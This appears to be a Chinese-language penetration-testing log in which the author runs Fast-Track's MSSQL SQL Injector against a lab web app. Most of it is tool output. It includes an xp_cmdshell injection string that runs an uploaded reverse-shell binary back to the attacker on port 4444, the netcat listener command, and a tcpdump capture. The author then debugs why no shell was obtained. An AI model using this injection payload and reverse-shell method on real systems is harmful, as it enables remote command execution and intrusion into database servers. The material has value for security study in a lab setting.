MSSQL2K - SQL Injector - Query String Parameter Attack

操作如下：

root@root:/pentest/exploits/fasttrack# ./fast-track.py -i

***********************************************
******* Performing dependency checks... *******
***********************************************

*** FreeTDS and PYMMSQL are installed. (Check) ***
*** PExpect is installed. (Check) ***
*** ClientForm is installed. (Check) ***
*** Psyco is installed. (Check) ***
*** Beautiful Soup is installed. (Check) ***

Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.

Your system has all requirements needed to run Fast-Track!

 *****************************************************************
 **                                                             **
 **  Fast-Track - A new beginning...                            **
 **  Version: 4.0.2                                             **
 **  Written by: David Kennedy (ReL1K)                          **
 **  Lead Developer: Joey Furr (j0fer)                          **
 **  http://www.secmaniac.com                                   **
 **                                                             **
 *****************************************************************

Fast-Track Main Menu:

    1.  Fast-Track Updates
    2.  Autopwn Automation
    3.  Nmap Scripting Engine
    4.  Microsoft SQL Tools
    5.  Mass Client-Side Attack
    6.  Exploits
    7.  Binary to Hex Payload Converter
    8.  Payload Generator
    9.  Fast-Track Tutorials
    10. Fast-Track Changelog
    11. Fast-Track Credits
    12. Exit Fast-Track

    Enter the number: 4
 *****************************************************************
 **                                                             **
 **  Fast-Track - A new beginning...                            **
 **  Version: 4.0.2                                             **
 **  Written by: David Kennedy (ReL1K)                          **
 **  Lead Developer: Joey Furr (j0fer)                          **
 **  http://www.secmaniac.com                                   **
 **                                                             **
 *****************************************************************

Microsoft SQL Attack Tools

    1. MSSQL Injector
    2. MSSQL Bruter
    3. SQLPwnage

    (q)uit

    Enter your choice : 1
 *****************************************************************
 **                                                             **
 **  Fast-Track - A new beginning...                            **
 **  Version: 4.0.2                                             **
 **  Written by: David Kennedy (ReL1K)                          **
 **  Lead Developer: Joey Furr (j0fer)                          **
 **  http://www.secmaniac.com                                   **
 **                                                             **
 *****************************************************************

Enter which SQL Injector you want to use:

    1. SQL Injector - Query String Parameter Attack
    2. SQL Injector - POST Parameter Attack
    3. SQL Injector - GET FTP Payload Attack
    4. SQL Injector - GET Manual Setup Binary Payload Attack

    (q)uit

    Enter your choice: 1
 *****************************************************************
 **                                                             **
 **  Fast-Track - A new beginning...                            **
 **  Version: 4.0.2                                             **
 **  Written by: David Kennedy (ReL1K)                          **
 **  Lead Developer: Joey Furr (j0fer)                          **
 **  http://www.secmaniac.com                                   **
 **                                                             **
 *****************************************************************


    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Requirements: PExpect
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    This module uses a reverse shell by using the binary2hex method for uploading.
    It does not require FTP or any other service, instead we are using the debug
    function in Windows to generate the executable.

    You will need to designate where in the URL the SQL Injection is by using 'INJECTHERE

    So for example, when the tool asks you for the SQL Injectable URL, type:

    http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah
             

    Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter

    Example:http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah

    <ctrl>-c to exit to Main Menu...

    Enter here: http://192.168.1.109:8080/mssql2k/login?username='INJECTHERE
/pentest/exploits/fasttrack/bin/ftsrc/sqlbinarypayload.py:74: DeprecationWarning: os.popen2 is deprecated.  Use the subprocess module.
  ncstarter=os.popen2('xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Binary Payload SQL Injector" -e nc -lvp 4444 2> /dev/null')
    Sending initial request to enable xp_cmdshell if disabled....
    Sending first portion of payload (1/4)....
    Sending second portion of payload (2/4)....
    Sending third portion of payload (3/4)...
    Sending the last portion of the payload (4/4)...
    Running cleanup before executing the payload...
    Running the payload on the server...
     You should have a shell if everything went good..Might take a couple seconds

然后就没有了，没有获得shell。

于是，查看代码fasttrack/bin/ftsrc/sqlbinarypayload.py，看到：

string26=(r"';exec master..xp_cmdshell 'reverse.exe %s 4444'--" % (ipaddr))

而且我的eclipse里的输入如下：

select username, password, phone from tb_user where username='';exec master..xp_cmdshell 'reverse.exe 192.168.1.11 4444'--' and password='null'

用wireshark和tcpdump抓包：

tcpdump的输入如下：

root@root:/pentest/exploits/fasttrack# tcpdump port 4444
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
19:54:33.188133 IP 192.168.1.142.1112 > 192.168.1.11.4444: Flags [S], seq 1697364905, win 64240, options [mss 1460,nop,nop,sackOK], length 0
19:54:33.188160 IP 192.168.1.11.4444 > 192.168.1.142.1112: Flags [R.], seq 0, ack 1697364906, win 0, length 0
19:54:33.633652 IP 192.168.1.142.1112 > 192.168.1.11.4444: Flags [S], seq 1697364905, win 64240, options [mss 1460,nop,nop,sackOK], length 0
19:54:33.633679 IP 192.168.1.11.4444 > 192.168.1.142.1112: Flags [R.], seq 0, ack 1, win 0, length 0
19:54:34.180136 IP 192.168.1.142.1112 > 192.168.1.11.4444: Flags [S], seq 1697364905, win 64240, options [mss 1460,nop,nop,sackOK], length 0
19:54:34.180159 IP 192.168.1.11.4444 > 192.168.1.142.1112: Flags [R.], seq 0, ack 1, win 0, length 0
19:57:27.385923 IP 192.168.1.142.1113 > 192.168.1.11.4444: Flags [S], seq 4267102228, win 64240, options [mss 1460,nop,nop,sackOK], length 0
19:57:27.385983 IP 192.168.1.11.4444 > 192.168.1.142.1113: Flags [R.], seq 0, ack 4267102229, win 0, length 0
19:57:27.867489 IP 192.168.1.142.1113 > 192.168.1.11.4444: Flags [S], seq 4267102228, win 64240, options [mss 1460,nop,nop,sackOK], length 0
19:57:27.867577 IP 192.168.1.11.4444 > 192.168.1.142.1113: Flags [R.], seq 0, ack 1, win 0, length 0
19:57:28.414365 IP 192.168.1.142.1113 > 192.168.1.11.4444: Flags [S], seq 4267102228, win 64240, options [mss 1460,nop,nop,sackOK], length 0
19:57:28.414434 IP 192.168.1.11.4444 > 192.168.1.142.1113: Flags [R.], seq 0, ack 1, win 0, length 0

说明：TCP连接是打开的，但是没有打开shell，再看代码fasttrack/bin/menu/sqlinjector.py：

   if menu == '1':
      try:
         reload(sqlbinarypayload)
      except Exception:
         pass
      import sqlbinarypayload

之后，似乎没有代码来处理建立的TCP连接。所以，没有获得shell。